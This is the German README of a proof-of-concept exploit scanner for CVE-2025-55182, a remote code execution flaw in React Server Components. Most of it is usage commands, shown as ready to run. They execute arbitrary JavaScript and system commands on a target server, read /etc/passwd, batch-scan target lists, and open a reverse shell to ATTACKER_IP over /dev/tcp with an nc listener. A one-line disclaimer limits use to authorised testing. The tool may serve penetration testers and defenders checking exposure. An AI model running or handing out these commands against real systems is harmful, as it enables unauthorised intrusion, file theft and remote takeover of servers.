
POC React2Shell-CVE-2025-55182
____ _____ _ ____ _____ ____ ____ _ _ _____ _ _
| _ \| ____| / \ / ___|_ _|___ \/ ___|| | | | ____| | | |
| |_) | _| / _ \| | | | __) \___ \| |_| | _| | | | |
| _ <| |___ / ___ \ |___ | | / __/ ___) | _ | |___| |___| |___
|_| \_\_____/_/ \_\____| |_| |_____|____/|_| |_|_____|_____|_____|
[ CVE-2025-55182 ]
Remote Code Execution Scanner für React Server Components (RSC)
| Rolle | Name | Link |
|---|---|---|
| Originalforschung | Lachlan Davidson | github.com/lachlan2k |
Basierend auf dem ursprünglichen PoC: React2Shell-CVE-2025-55182-original-poc
React2Shell ist ein umfassender Sicherheitsscanner für CVE-2025-55182, eine kritische Remote Code Execution (RCE)-Schwachstelle, die React Server Components (RSC)-Implementierungen betrifft. Diese Schwachstelle ermöglicht nicht authentifizierten Angreifern, beliebigen JavaScript-Code auf dem Server durch unsichere Deserialisierung im React Flight-Protokoll auszuführen.
# Repository klonen
git clone https://github.com/Shadowroot97/POC-React2Shell-CVE-2025-55182.git
cd POC-React2Shell-CVE-2025-55182
# Abhängigkeiten installieren
pip install requests
# Scanner ausführen
python3 exploit_cve_2025_55182_v2.py -h
usage: exploit_cve_2025_55182_v2.py [-h] [-t TARGET] [-f FILE] [-m {version,verify,custom}]
[--js JS] [--extract] [--sleep SECONDS]
[--callback URL] [--dns DOMAIN] [-v]
[--no-color] [--timeout TIMEOUT]
Ermittelt passiv betroffene React- und Framework-Versionen:
python3 exploit_cve_2025_55182_v2.py -t https://target.com
-m verify)Bestätigt aktiv RCE mittels mehrerer Techniken und aller 4 Payload-Varianten:
# Basis-Verifikation (Digest-Variation)
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify
# Mit zeitbasierter Verifikation
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify --sleep 5
# Mit OOB-Callback (Burp Collaborator)
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify --callback abc123.oastify.com
# Vollständige Verifikation mit ausführlicher Ausgabe
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify \
--sleep 5 --callback abc123.oastify.com --dns abc123.oastify.com -v
-m custom)Führt beliebige JavaScript-Payloads aus:
# Node.js-Version abrufen
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "process.version" --extract
# Systembefehl ausführen
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "require('child_process').execSync('id').toString()" --extract
# Datei lesen
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "require('fs').readFileSync('/etc/passwd','utf8')" --extract
-f)Mehrere URLs aus einer Datei scannen und nur verwundbare Ziele anzeigen:
python3 exploit_cve_2025_55182_v2.py -f targets.txt
# Versionserkennung (Standardmodus)
python3 exploit_cve_2025_55182_v2.py -t https://target.com
# RCE-Verifikation
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify
# Batch-Scan mehrerer Ziele
python3 exploit_cve_2025_55182_v2.py -f targets.txt
# Ausführliche Ausgabe
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify -v
# Zeitbasierte + OOB-Verifikation
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify \
--sleep 5 --callback your-id.oastify.com
# Serverinfo extrahieren
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "process.version" --extract
# Befehl ausführen
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "require('child_process').execSync('whoami').toString()" --extract
# Listener starten
nc -lvnp 443
# Reverse Shell ausführen
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1\"')"
Dieses Werkzeug ist nur für autorisierte Sicherheitstests und Bildungszwecke vorgesehen.
| Argument | Beschreibung |
|---|
-t, --target | Ziel-URL (z. B. https://example.com) |
-f, --file | Datei mit Liste von URLs (eine pro Zeile) für Batch-Scans |
-m, --mode | Scan-Modus: version (Standard), verify oder custom |
--js | JavaScript-Code für den benutzerdefinierten Modus |
--extract | Zeichenweise Extraktion eines Zeichenketten-Ergebnisses |
--sleep SECONDS | Zeitbasierte RCE-Verifikation (verify-Modus) |
--callback URL | HTTP-Callback-URL für OOB-Tests (verify-Modus) |
--dns DOMAIN | DNS-Callback-Domain für OOB-Tests (verify-Modus) |
-v, --verbose | Ausführliche Ausgabe mit Payload-Details |
--no-color | Farbige Ausgabe deaktivieren |
--timeout SECONDS | HTTP-Request-Timeout (Standard: 30) |